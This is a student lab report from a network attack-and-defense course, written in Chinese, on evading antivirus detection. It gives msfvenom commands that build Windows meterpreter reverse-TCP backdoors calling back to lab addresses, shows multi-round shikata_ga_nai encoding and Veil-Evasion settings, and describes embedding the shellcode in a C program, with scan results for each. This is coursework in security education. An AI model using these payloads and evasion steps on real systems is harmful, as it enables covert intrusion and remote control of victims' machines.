20169205 2016-2017-2 《网络攻防技术》 免杀技术
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
启发式恶意软件检测
基于行为的恶意软件检测
如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。
(2)免杀是做什么?
使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。
(3)免杀的基本方法有哪些?
- 改变特征码
对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码
- 改变攻击行为
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
实践总结与体会
此次实验使我深入了解了杀毒软件查杀的原理,以及恶意代码的伪装手段。发现即使安装了杀毒软件以及防火墙,还是不能完全的保证电脑是安全的。因此,了解相关恶意程序的原理和伪装手段对提高网络安全意识和增强病毒防护能力由很大的帮助。
离实战还缺些什么技术或步骤?
实际环境中,我们很难将后门程序移植进靶机中,这就需要把这个后门程序伪装后绑定到一些正规的程序中来让后门程序进入靶机。另外我们需要对靶机的状态进行跟踪。
实践过程记录
1.使用msf编码器直接生成一个后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.2.169 LPORT=5329 -f exe > 5329met-encoded.exe
文件传送到windows以后被查杀,找回后上传到virscan扫描,有21/39款杀软鉴定它为恶意代码
检测过程如图所示:
2.使用msf编码器对恶意代码进行10次编码,并生成一个后门文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.15.128 LPORT=5329 -f exe > 5329met-encoded10.exe
文件传送到windows以后仍然被查杀
将.exe文件拷贝出来到靶机上,放在某个路径下(保证杀毒软件开启),发现被查杀,然后找回原文件。
使用msf编码器对恶意代码进行10次编码,并生成一个后门文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.2.169 LPORT=5329 -f exe > 5329met-encoded10.exe
文件传送到windows以后仍然被查杀
找回后上传到virscan扫描,有20/39款杀软鉴定它为恶意代码
对比查杀分析信息后发现其中一个名为Quickheal的杀软没有检测出多次编码后的恶意代码,说明这个杀软比较弱,不过也说明多次编码对个别杀软是有一定作用的,不过整体来讲对恶意代码成功植入靶机还是几率不大
3.使用veil-evasion免杀平台
kali原本没有veil-evasion ,所以需要先安装
sudo ape-get install veil-evasion
menu下依次输入语言、ip、端口号以及文件名等
use python/meterpreter/rev_tcp
set LHOST 172.16.2.169
generate
5329
1
将生成的可执行文件传送到windows,传送时windows杀软没有检测到文件为恶意代码并杀死它
在windows文件中找到恶意代码(5329.exe),上传到virscan扫描发现有10/39款杀软识别出它是恶意代码
4.shellcode编程
在kali终端下生成一个c格式的十六进制数组,Ip为kali的
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.2.169 LPORT=443 -f c
按照实验教程模版在windows VS 中编写一个c语言的shellcode代码,并将kali中生成的带有kali ip的十六进制数组加入c代码的编写中,
kali中运行msf监听
windows中VS调试shellcode代码,360杀软检测出木马,建议清除
将c代码上传到virscan扫描,结果显示0/39的杀毒软件鉴定为恶意代码,可能是该网站的病毒库没有及时更新,或者我们生成的恶意代码已经不太具有恶意代码的特征或行为不太像恶意代码
学习进度条
时间 | 学习时间目标 | 实际进行时间 |
---|---|---|
第一周 | 8 | 8 |
第二周 | 10 | 8.5 |
第三周 | 12 | 10.5 |
第四周 | 12 | 12 |
第五周 | 12 | 11 |
第六周 | 12 | 13 |
第七周 | 12 | 12 |
第八周 | 12 | 12 |
第九周 | 12 | 12 |
第十周 | 12 | 12 |
第十一周 | 12 | 11 |
第十二周 | 12 | 12 |
第十三周 | 12 | 10 |
第十四周 | 12 | 12 |